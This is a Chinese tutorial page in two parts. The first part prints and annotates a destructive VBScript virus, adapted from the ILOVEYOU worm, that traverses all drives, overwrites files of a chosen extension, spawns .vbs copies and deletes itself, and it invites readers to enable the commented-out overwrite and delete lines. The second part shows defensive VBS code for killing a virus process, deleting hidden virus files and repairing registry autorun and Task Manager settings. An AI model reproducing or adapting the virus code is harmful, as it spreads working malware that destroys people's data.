vbs病毒的简单例子源代码解析
说明:作者对某些代码进行了修改。该文件是一个完整的程序。该文件执行之后,会寻找硬盘上所有满足条件的文件,对其进行强制性覆盖(满足条件的文件数据将全部丢失)、并再创建一个相同文件名但后带.vbs的文件。因此,请注意设立好破坏测试条件,千万不要对他人进行测试,否则,一切后果自负。
dim folder,fso,foldername,f,d,dc
set fso=createobject("scripting.filesystemobject")
set self=fso.opentextfile(wscript.scriptfullname,1)
vbscopy=self.readall '读取病毒体,以备复制到文件
self.close
set dc=fso.Drives
for each d in dc
if d.drivetype=3 or d.drivetype=2 then '检查磁盘类型
wscript.echo d '弹出窗口,显示找到盘符
scan(d)
end if
next
lsfile=wscript.scriptfullname '该脚本程序路径
set lsfile=fso.getfile(lsfile)
lsfile.delete(true) '病毒运行后自我删除(本人自加,爱虫病毒本身没有该代码)
sub scan(folder_)
on error resume next
set folder_=fso.getfolder(folder_)
set files=folder_.files
for each file in files
ext=fso.GetExtensionName(file) '获取文件后缀
ext=lcase(ext) '后缀名转换成小写字母
if ext="mp5" then '如果后缀名是mp5,当然不存在这种文件,这里可以自己修改,但是注意。请自己建立相应后缀名的文件,最好是非正常后缀名
set ap=fso.opentextfile(file.path,2,true)
' ap.write vbscopy '覆盖文件,慎用
ap.close
set cop=fso.getfile(file.path)
cop.copy(file.path & ".vbs") '创建另外一个病毒文件
' file.delete(true) '删除原来文件
end if
next
set subfolders=folder_.subfolders
for each subfolder in subfolders '搜索其他目录
scan(subfolder)
next
end sub
◎VBS编程打造自己的病毒专杀工具
VBS病毒应该来说还是挺流行的,其力量不可小觑啊!用VBS写一只普通病毒(蠕虫)没有什么难度,写病毒专杀工具也是没什么难度的。但在写出专杀工具前必须了解你要杀的这只病毒的一些信息……比如:病毒释放的文件,感染的文件,注册表与进程里的病毒信息等等。
一、首先来看如何结束病毒进程,之前我在《两个简易VBS脚本结束进程与防止进程启动》给出了关于进程的一些操作方法。假如要结束的病毒进程为rund1132.exe(32之前是两个数字1),看下面代码:
set w=getobject("winmgmts:")??'创建WMI对象,执行后面的查询。
set p=w.execquery("select * from win32_process where name='rund1132.exe'")
for each i in p
i.terminate
next
二、双击执行这段代码就可以结束rund1132.exe进程,这为后面的杀毒提供方便。病毒进程一被结束就要马上将其文件给删掉!假如病毒相关文件为c:\windows\rund1132.exe与c:\windows\system32\explorer.exe,它们皆为隐藏文件。看下面代码:
set fso=createobject("scripting.filesystemobject") '创建fso对象,此对象以后介绍……
set v1=fso.getfile("c:\windows\rund1132.exe")
set v2=fso.getfile("c:\windows\system32\explorer.exe")
v1.attributes=0 '设置文件为正常属性值,即隐藏文件就被还原成正常文件了!
v2.attributes=0 '当病毒文件多时,可以使用for语句。
fso.deletefile("c:\windows\rund1132.exe")
fso.deletefile("c:\windows\system32\explorer.exe")
执行这段代码,病毒文件就被Killed了……删除病毒的感染文件也是创建fso对象,然后进行盘符、文件夹、文件遍历查找,使用ext=lcase(fso.GetExtensionName(file)
)这样的表达式来获取所有文件的后缀,最后将ext值与被已知感染文件的后缀(比如.exe)进行判断,如果为真则删除此此文件……思路给出了,代码有点长有点复杂就不黏贴上来了。其实如果有可能去分析“爱虫VBS病毒”的代码,就会发现它在感染文件时使用的正是这样的遍历、后缀判别的方法……
三、注册表是关键。有些病毒是很变态的,将系统的许多功能都给禁用了,还往注册表里塞一大堆垃圾信息……它要是把WSH(windows脚本宿主)给禁用了或破坏了那我们辛辛苦苦写的VBS专杀工具就没法使用了,我感觉VBS写出来的专杀是有一定的局限性的……不过对付不这么变态的病毒还是可以的!
比如:此病毒禁用了“任务管理器”、然后在注册表中添加下面的值来实现开机自启动"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\run","c:\windows\rund1132.exe"。如何修复?看下面代码:
set reg=wscript.createobject("wscript.shell") '创建wscript对象,进行下面的注册表操作!
'reg.regwrite恢复禁用的任务管理器
reg.regwrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr",0,"REG_DWORD"
'reg,regdelete删除病毒的自启动项
reg.regdelete
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\run"
到此用VBS打造自己的病毒专杀工具就有成形了,框架就是这样。根据不同的病毒特征写出不同的专杀工具。